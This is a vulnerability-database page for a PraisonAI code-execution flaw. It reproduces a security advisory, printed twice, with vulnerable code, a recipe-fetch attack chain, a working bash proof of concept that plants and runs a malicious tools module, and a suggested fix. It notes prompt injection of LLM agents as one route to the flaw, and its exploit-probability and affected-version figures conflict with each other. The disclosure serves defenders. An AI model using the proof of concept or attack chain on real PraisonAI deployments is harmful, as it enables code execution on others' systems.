CVE-2026-47398

HIGHPre-NVD 8.18.1
EchelonGraph scoreLOW confidence

This high-severity CVE scores 8.1 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.1%, top 72% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
8.1
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 0%CVSS: 8.1Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

PraisonAI: Arbitrary code execution via unguarded spec.loader.exec_module in agents_generator.py - sibling of CVE-2026-44334

Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass) Summary The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate. Patch lineage

CVE | GHSA | Fixed in | What was patched -- | -- | -- | -- CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py This finding | — | unfixed | Missed sinks in agents_generator.py

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched. Vulnerable code

praisonai/agents_generator.py (master HEAD; v4.6.37)

336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate

372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156. Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True). Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector) HTTP POST /v1/recipes/run body: {"recipe": "github:<attacker>/<repo>/<recipe>"} │ ▼ Recipe fetched → agents.yaml contains: tools:

  • module_path: ./evil.py # colocated in recipe dir
│ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call. PoC #!/usr/bin/env bash

Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)

set -euo pipefail

WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT

1. Malicious module

cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF

2. agents.yaml that references it

cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools:
  • evil.py
YAMLEOF

3. Run

cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired "

4. Verify

MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi

Impact Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account. Severity High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) CWE

CWE-94: Improper Control of Generation of Code ('Code Injection') CWE-426: Untrusted Search Path CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD). Suggested fix Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py: import os

def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...

def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths. Credit Kai Aizen & Avraham Shemesh / SnailSploit## Arbitrary code execution via ungated spec.loader.exec_module in agents_generator.py (v4.6.32 chokepoint refactor bypass)

TL;DR

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate to the tool_override.py sinks. However, two additional spec.loader.exec_module call sites in praisonai/agents_generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module_path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

Patch lineage

| CVE | GHSA | Fixed in | What was patched | | --- | --- | --- | --- | | CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py | | CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py | | CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py | | This finding | — | unfixed | Missed sinks in agents_generator.py |

Every prior patch addressed a subset of exec_module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

# praisonai/agents_generator.py  (master HEAD; v4.6.37)

336 def load_tools_from_module(self, module_path): # ... 349 spec = importlib.util.spec_from_file_location("tools_module", module_path) 350 module = importlib.util.module_from_spec(spec) 351 spec.loader.exec_module(module) # ← NO gate

372 def load_tools_from_module_class(self, module_path): # ... (same pattern — spec_from_file_location → exec_module, no gate)

Neither function checks PRAISONAI_ALLOW_LOCAL_TOOLS. Neither validates module_path against an allowlist. The module_path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:

  • Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
  • Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow_any_github=True).
  • Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
  body: {"recipe": "github://"}
        │
        ▼
  Recipe fetched → agents.yaml contains:
    tools:
  • module_path: ./evil.py # colocated in recipe dir
│ ▼ AgentsGenerator.load_tools_from_module("./evil.py") │ ▼ agents_generator.py:349 spec = spec_from_file_location("tools_module", "./evil.py") agents_generator.py:351 spec.loader.exec_module(module) ← RCE

No PRAISONAI_ALLOW_LOCAL_TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

#!/usr/bin/env bash

Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)

set -euo pipefail

WORKDIR=$(mktemp -d) trap "rm -rf $WORKDIR" EXIT

1. Malicious module

cat > "$WORKDIR/evil.py" << 'PYEOF' import os, sys, tempfile, time marker = os.path.join(tempfile.gettempdir(), f"praisonai_agents_gen_pwn_{int(time.time())}.txt") with open(marker, "w") as f: f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\n") print(f"[agents_generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy_tool(): """Placeholder so tool scan finds something.""" pass PYEOF

2. agents.yaml that references it

cat > "$WORKDIR/agents.yaml" << 'YAMLEOF' framework: praisonai topic: "PoC — agents_generator exec_module bypass" roles: poc_agent: role: PoC goal: Trigger load_tools_from_module backstory: n/a tools:
  • evil.py
YAMLEOF

3. Run

cd "$WORKDIR" python -c " from praisonai import PraisonAI try: ai = PraisonAI(agent_file='agents.yaml') ai.main() except Exception: pass # downstream failure expected; exec_module already fired "

4. Verify

MARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi

Impact

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.

Severity

High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)

When combined with the recipe server's default no-auth posture and allow_any_github=True, the attack becomes network-reachable without authentication, elevating to:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CWE-426: Untrusted Search Path
  • CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents_generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI_ALLOW_LOCAL_TOOLS env-var gate used in tool_resolver.py and api/call.py to both call sites in agents_generator.py:

import os

def load_tools_from_module(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...

def load_tools_from_module_class(self, module_path): if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": return [] # ... existing logic ...

Additionally, validate module_path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / [SnailSploit](https://snailsploit.com)

CVSS v3
8.1
EG Score
8.1(low)
EPSS
27.8%
KEV
Not listed

Published

May 29, 2026

Last Modified

May 29, 2026

Vendor Advisories for CVE-2026-47398(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFixed inDependents
praisonai0.0.1 ... 4.6.9 (731 versions)4.6.40

Data Freshness Timeline

(refreshed 3× in last 7d / 26× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-16 01:46 UTCEG score recompute
  2. 2026-07-14 13:45 UTCEG score recompute
  3. 2026-07-11 16:55 UTCEG score recompute
  4. 2026-07-08 17:15 UTCEG score recompute
  5. 2026-07-02 15:58 UTCEG score recompute
  6. 2026-07-02 03:42 UTCEG score recompute
  7. 2026-07-01 12:41 UTCEG score recompute
  8. 2026-07-01 01:17 UTCEG score recompute
  9. 2026-06-30 00:52 UTCEG score recompute
  10. 2026-06-29 13:27 UTCEG score recompute
  11. 2026-06-29 02:03 UTCEG score recompute
  12. 2026-06-28 14:37 UTCEG score recompute
  13. 2026-06-28 03:04 UTCEG score recompute
  14. 2026-06-27 15:40 UTCEG score recompute
  15. 2026-06-27 04:11 UTCEG score recompute
  16. 2026-06-26 16:10 UTCEG score recompute
  17. 2026-06-26 01:49 UTCEG score recompute
  18. 2026-06-25 14:08 UTCEG score recompute
  19. 2026-06-25 02:34 UTCEG score recompute
  20. 2026-06-24 15:10 UTCEG score recompute
  21. 2026-06-24 02:45 UTCEG score recompute
  22. 2026-06-18 22:20 UTCEG score recompute
  23. 2026-06-18 10:16 UTCEG score recompute
  24. 2026-06-17 19:26 UTCEG score recompute
  25. 2026-06-17 08:03 UTCEG score recompute
Show 38 more
  1. 2026-06-16 20:38 UTCEG score recompute
  2. 2026-06-16 09:09 UTCEG score recompute
  3. 2026-06-15 21:30 UTCEG score recompute
  4. 2026-06-15 10:07 UTCEG score recompute
  5. 2026-06-14 23:18 UTCEPSS rescore
  6. 2026-06-14 22:39 UTCEG score recompute
  7. 2026-06-14 11:15 UTCEG score recompute
  8. 2026-06-13 23:51 UTCEG score recompute
  9. 2026-06-13 23:00 UTCEPSS rescore
  10. 2026-06-13 12:27 UTCEG score recompute
  11. 2026-06-13 01:00 UTCEG score recompute
  12. 2026-06-12 23:12 UTCEPSS rescore
  13. 2026-06-12 13:34 UTCEG score recompute
  14. 2026-06-12 02:11 UTCEG score recompute
  15. 2026-06-11 14:47 UTCEG score recompute
  16. 2026-06-11 03:22 UTCEG score recompute
  17. 2026-06-10 15:59 UTCEG score recompute
  18. 2026-06-10 04:35 UTCEG score recompute
  19. 2026-06-09 17:10 UTCEG score recompute
  20. 2026-06-09 05:47 UTCEG score recompute
  21. 2026-06-08 18:22 UTCEG score recompute
  22. 2026-06-08 03:40 UTCEG score recompute
  23. 2026-06-07 16:17 UTCEG score recompute
  24. 2026-06-07 04:53 UTCEG score recompute
  25. 2026-06-06 17:29 UTCEG score recompute
  26. 2026-06-06 06:05 UTCEG score recompute
  27. 2026-06-05 18:41 UTCEG score recompute
  28. 2026-06-05 07:17 UTCEG score recompute
  29. 2026-06-04 19:53 UTCEG score recompute
  30. 2026-06-04 08:29 UTCEG score recompute
  31. 2026-06-03 21:05 UTCEG score recompute
  32. 2026-06-03 09:41 UTCEG score recompute
  33. 2026-06-02 22:17 UTCEG score recompute
  34. 2026-06-02 10:53 UTCEG score recompute
  35. 2026-06-01 23:29 UTCEG score recompute
  36. 2026-06-01 12:05 UTCEG score recompute
  37. 2026-06-01 00:41 UTCEG score recompute
  38. 2026-05-29 23:13 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-47398?
CVE-2026-47398 is a high vulnerability published on May 29, 2026. PraisonAI: Arbitrary code execution via unguarded spec.loader.execmodule in agentsgenerator.py - sibling of CVE-2026-44334 <html><head></head><body><h2>Arbitrary code execution via ungated <code>spec.loader.execmodule</code> in <code>agentsgenerator.py</code> (v4.6.32 chokepoint refactor…
When was CVE-2026-47398 disclosed?
CVE-2026-47398 was first published in the National Vulnerability Database on May 29, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-47398 actively exploited?
CVE-2026-47398 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 27.8% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-47398?
CVE-2026-47398 has a CVSS v4.0 base score of 8.1 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-47398?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-47398, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-47398

Explore →

Is Your Infrastructure Affected by CVE-2026-47398?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.